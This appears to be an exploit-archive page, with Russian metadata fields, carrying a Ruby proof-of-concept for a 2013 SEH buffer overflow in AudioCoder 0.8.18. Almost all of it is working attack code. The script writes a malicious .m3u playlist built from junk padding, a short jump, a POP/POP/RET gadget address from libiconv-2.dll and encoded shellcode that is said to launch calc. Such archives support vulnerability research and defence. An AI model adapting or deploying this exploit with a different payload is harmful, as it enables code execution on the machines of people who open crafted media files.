AudioCoder 0.8.18 - Buffer Overflow Exploit (SEH)

Свойства

Дата публикации:
07.05.2013
Цель:
AudioCoder 0.8.18
Тип воздействия:
Компрометация системы

Код

#!/usr/bin/env ruby
# Exploit Title:AudioCoder 0.8.18 Buffer Overflow Exploit (SEH)
# Download link :http://www.mediacoderhq.com/getfile.htm?site=dl.mediacoderhq.com&file=AudioCoder-0.8.18.exe
# Vulnerable Product:AudioCoder
# Date (found): 30.04.2013
# Date (publish): 01.05.2013
# RST
# Author: metacom
# Version: version 0.8.18
# Category: poc
# Tested on: windows 7 German  
# Exploit-DB Note:
# This works on Windows 7 Pro Eng

begin
#calc
shellcode =
"\x89\xe0\xdb\xc8\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" +
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" +
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" +
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" +
"\x58\x4d\x59\x53\x30\x55\x50\x53\x30\x43\x50\x4d\x59\x5a" +
"\x45\x56\x51\x58\x52\x52\x44\x4c\x4b\x50\x52\x56\x50\x4c" +
"\x4b\x50\x52\x54\x4c\x4c\x4b\x31\x42\x45\x44\x4c\x4b\x34" +
"\x32\x31\x38\x44\x4f\x4f\x47\x51\x5a\x37\x56\x30\x31\x4b" +
"\x4f\x50\x31\x49\x50\x4e\x4c\x57\x4c\x35\x31\x33\x4c\x53" +
"\x32\x56\x4c\x37\x50\x49\x51\x38\x4f\x54\x4d\x35\x51\x49" +
"\x57\x4d\x32\x5a\x50\x36\x32\x36\x37\x4c\x4b\x46\x32\x54" +
"\x50\x4c\x4b\x47\x32\x37\x4c\x53\x31\x4e\x30\x4c\x4b\x47" +
"\x30\x54\x38\x4b\x35\x49\x50\x42\x54\x51\x5a\x35\x51\x4e" +
"\x30\x50\x50\x4c\x4b\x57\x38\x55\x48\x4c\x4b\x36\x38\x31" +
"\x30\x45\x51\x59\x43\x4b\x53\x57\x4c\x30\x49\x4c\x4b\x30" +
"\x34\x4c\x4b\x55\x51\x4e\x36\x30\x31\x4b\x4f\x50\x31\x49" +
"\x50\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x43\x31\x49\x57\x46" +
"\x58\x4b\x50\x42\x55\x5a\x54\x43\x33\x43\x4d\x5a\x58\x37" +
"\x4b\x33\x4d\x57\x54\x53\x45\x4a\x42\x30\x58\x4c\x4b\x56" +
"\x38\x36\x44\x43\x31\x48\x53\x35\x36\x4c\x4b\x54\x4c\x30" +
"\x4b\x4c\x4b\x56\x38\x45\x4c\x53\x31\x39\x43\x4c\x4b\x54" +
"\x44\x4c\x4b\x35\x51\x4e\x30\x4b\x39\x51\x54\x31\x34\x37" +
"\x54\x51\x4b\x51\x4b\x55\x31\x30\x59\x30\x5a\x46\x31\x4b" +
"\x4f\x4d\x30\x31\x48\x51\x4f\x50\x5a\x4c\x4b\x42\x32\x4a" +
"\x4b\x4b\x36\x51\x4d\x52\x4a\x43\x31\x4c\x4d\x4c\x45\x48" +
"\x39\x55\x50\x55\x50\x53\x30\x50\x50\x43\x58\x36\x51\x4c" +
"\x4b\x32\x4f\x4d\x57\x4b\x4f\x39\x45\x4f\x4b\x4c\x30\x48" +
"\x35\x39\x32\x56\x36\x53\x58\x59\x36\x5a\x35\x4f\x4d\x4d" +
"\x4d\x4b\x4f\x38\x55\x57\x4c\x35\x56\x33\x4c\x44\x4a\x4b" +
"\x30\x4b\x4b\x4d\x30\x33\x45\x54\x45\x4f\x4b\x50\x47\x42" +
"\x33\x33\x42\x42\x4f\x42\x4a\x43\x30\x31\x43\x4b\x4f\x59" +
"\x45\x32\x43\x43\x51\x42\x4c\x33\x53\x36\x4e\x43\x55\x43" +
"\x48\x55\x35\x43\x30\x41\x41"

file = "fuzz.m3u"
head = "http://"
junk = "\x90" * 765 # Distance to overwrite EIP
nseh = "\xEB\x06\x90\x90" # Short (6 bytes) jump!
seh  = "\xEE\x04\x01\x66" # POP ECX / POP ECX / RETN from libiconv-2.dll
nops = "\x90" * 80
textfile = open(file , 'w')
textfile.write(head + junk + nseh + seh + nops + shellcode)
textfile.close()

puts
puts " Vulnerable file created!...\n"

end
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